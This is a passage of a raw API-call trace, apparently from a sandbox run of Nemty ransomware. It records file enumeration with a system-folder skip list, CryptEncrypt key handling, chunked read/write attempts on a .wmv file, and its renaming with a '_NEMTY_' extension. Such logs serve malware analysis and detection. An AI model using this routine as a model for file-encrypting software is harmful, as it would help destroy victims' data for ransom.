ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="PassportMask.wmv", cAlternateFileName="")) returned 1 [0094.411] lstrcmpiW (lpString1="PassportMask.wmv", lpString2=".") returned 1 [0094.411] lstrcmpiW (lpString1="PassportMask.wmv", lpString2="..") returned 1 [0094.411] lstrcmpiW (lpString1="PassportMask.wmv", lpString2="...") returned 1 [0094.411] lstrcmpiW (lpString1="PassportMask.wmv", lpString2="windows") returned -1 [0094.411] lstrcmpiW (lpString1="PassportMask.wmv", lpString2="$RECYCLE.BIN") returned 1 [0094.411] lstrcmpiW (lpString1="PassportMask.wmv", lpString2="rsa") returned -1 [0094.411] lstrcmpiW (lpString1="PassportMask.wmv", lpString2="NTDETECT.COM") returned 1 [0094.411] lstrcmpiW (lpString1="PassportMask.wmv", lpString2="ntldr") returned 1 [0094.411] lstrcmpiW (lpString1="PassportMask.wmv", lpString2="MSDOS.SYS") returned 1 [0094.411] lstrcmpiW (lpString1="PassportMask.wmv", lpString2="IO.SYS") returned 1 [0094.411] lstrcmpiW (lpString1="PassportMask.wmv", lpString2="boot.ini") returned 1 [0094.411] lstrcmpiW (lpString1="PassportMask.wmv", lpString2="boot.ini") returned 1 [0094.411] lstrcmpiW (lpString1="PassportMask.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0094.411] lstrcmpiW (lpString1="PassportMask.wmv", lpString2="ntuser.dat") returned 1 [0094.411] lstrcmpiW (lpString1="PassportMask.wmv", lpString2="desktop.ini") returned 1 [0094.411] lstrcmpiW (lpString1="PassportMask.wmv", lpString2="CONFIG.SYS") returned 1 [0094.411] lstrcmpiW (lpString1="PassportMask.wmv", lpString2="RECYCLER") returned -1 [0094.411] lstrcmpiW (lpString1="PassportMask.wmv", lpString2="BOOTSECT.BAK") returned 1 [0094.411] lstrcmpiW (lpString1="PassportMask.wmv", lpString2="bootmgr") returned 1 [0094.411] lstrcmpiW (lpString1="PassportMask.wmv", lpString2="programdata") returned -1 [0094.411] lstrcmpiW (lpString1="PassportMask.wmv", lpString2="appdata") returned 1 [0094.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0094.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PassportMask.wmv", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0094.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0094.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PassportMask.wmv", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PassportMask.wmv", lpUsedDefaultChar=0x0) returned 16 [0094.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0094.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0094.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PassportMask.wmv", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0094.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0094.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PassportMask.wmv", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PassportMask.wmv", lpUsedDefaultChar=0x0) returned 16 [0094.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0094.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0094.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0094.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0094.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PassportMask.wmv", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0094.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0094.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PassportMask.wmv", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PassportMask.wmv", lpUsedDefaultChar=0x0) returned 16 [0094.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0094.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0094.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PassportMask.wmv", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0094.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0094.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PassportMask.wmv", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PassportMask.wmv", lpUsedDefaultChar=0x0) returned 16 [0094.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0094.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0094.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0094.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0094.412] Sleep (dwMilliseconds=0x5) [0094.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xebeda790, dwHighDateTime=0x1d561e7)) [0094.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xebeda790, dwHighDateTime=0x1d561e7)) [0094.425] GetLastError () returned 0x5 [0094.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0094.425] GetLastError () returned 0x5 [0094.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0094.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0094.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0094.425] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0094.425] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0094.425] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0094.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0094.425] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="a8FAVlORz+oSd60Cv7V9ZRDOgWbgRX+r6w0YtZ2+x+GuSWO02csVj4Dek0Iqc+iW\r\n64GX/VFGr0YzlcHu89/uWT0cjJKT+/3gZwQz59nkxcYIHHR5XUMKKLbAZbQrCAMq\r\niAt2oWRZZumG5h6u+L1hzrmUjlY4betnAeHYeA5uSTmuRtqSkhVyC1G/xsCRBcJz\r\nYhn9g81CB6BUvq5X0LX0h1EnE9ezO2SMRMfZO8QWdQ+L7rFjMesQB4NNU7njv5Gd\r\nWrbfVQAraAzIzLbAp4tt1+JKPuaSLblitXEFjN/pCGe8a/+BiD29aDNoipHjlNA9\r\n8w6s4dTpmBBIG/ZooRQc0w==\r\n", pcchString=0x653e91c) returned 1 [0094.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0094.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0094.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0094.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0094.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0094.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0094.425] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0094.425] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0094.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0094.426] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.426] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.435] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.435] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.435] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.435] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.444] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.444] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.444] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.444] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.454] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.454] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.454] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.454] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.463] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.463] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.463] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.463] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.472] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.472] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.472] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.472] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.482] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.482] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.482] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.482] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.491] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.491] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.491] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.491] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.501] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.501] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.501] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.501] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.511] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.511] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.520] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.520] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.520] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.520] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.526] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.526] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.532] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.532] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.532] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.532] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0094.532] CloseHandle (hObject=0xffffffff) returned 0 [0094.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0094.532] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0094.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0094.532] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0094.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0094.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0094.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0094.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0094.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0094.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0094.533] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv._nemty_kgobjgd_")) returned 0 [0094.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0094.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0094.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0094.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0094.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0094.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0094.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0094.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0094.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0094.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0094.533] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="PassportMask_PAL.wmv", cAlternateFileName="")) returned 1 [0094.533] lstrcmpiW (lpString1="PassportMask_PAL.wmv", lpString2=".") returned 1 [0094.533] lstrcmpiW (lpString1="PassportMask_PAL.wmv", lpString2="..") returned 1 [0094.533] lstrcmpiW (lpString1="PassportMask_PAL.wmv", lpString2="...") returned 1 [0094.533] lstrcmpiW (lpString1="PassportMask_PAL.wmv", lpString2="windows") returned -1 [0094.533] lstrcmpiW (lpString1="PassportMask_PAL.wmv", lpString2="$RECYCLE.BIN") returned 1 [0094.533] lstrcmpiW (lpString1="PassportMask_PAL.wmv", lpString2="rsa") returned -1 [0094.533] lstrcmpiW (lpString1="PassportMask_PAL.wmv", lpString2="NTDETECT.COM") returned 1 [0094.533] lstrcmpiW (lpString1="PassportMask_PAL.wmv", lpString2="ntldr") returned 1 [0094.533] lstrcmpiW (lpString1="PassportMask_PAL.wmv", lpString2="MSDOS.SYS") returned 1 [0094.533] lstrcmpiW (lpString1="PassportMask_PAL.wmv", lpString2="IO.SYS") returned 1 [0094.533] lstrcmpiW (lpString1="PassportMask_PAL.wmv", lpString2="boot.ini") returned 1 [0094.533] lstrcmpiW (lpString1="PassportMask_PAL.wmv", lpString2="boot.ini") returned 1 [0094.533] lstrcmpiW (lpString1="PassportMask_PAL.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0094.533] lstrcmpiW (lpString1="PassportMask_PAL.wmv", lpString2="ntuser.dat") returned 1 [0094.533] lstrcmpiW (lpString1="PassportMask_PAL.wmv", lpString2="desktop.ini") returned 1 [0094.533] lstrcmpiW (lpString1="PassportMask_PAL.wmv", lpString2="CONFIG.SYS") returned 1 [0094.533] lstrcmpiW (lpString1="PassportMask_PAL.wmv", lpString2="RECYCLER") returned -1 [0094.533] lstrcmpiW (lpString1="PassportMask_PAL.wmv", lpString2="BOOTSECT.BAK") returned 1 [0094.533] lstrcmpiW (lpString1="PassportMask_PAL.wmv", lpString2="bootmgr") returned 1 [0094.533] lstrcmpiW (lpString1="PassportMask_PAL.wmv", lpString2="programdata") returned -1 [0094.534] lstrcmpiW (lpString1="PassportMask_PAL.wmv", lpString2="appdata") returned 1 [0094.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0094.534] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PassportMask_PAL.wmv", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0094.534] RtlAllocateHeap 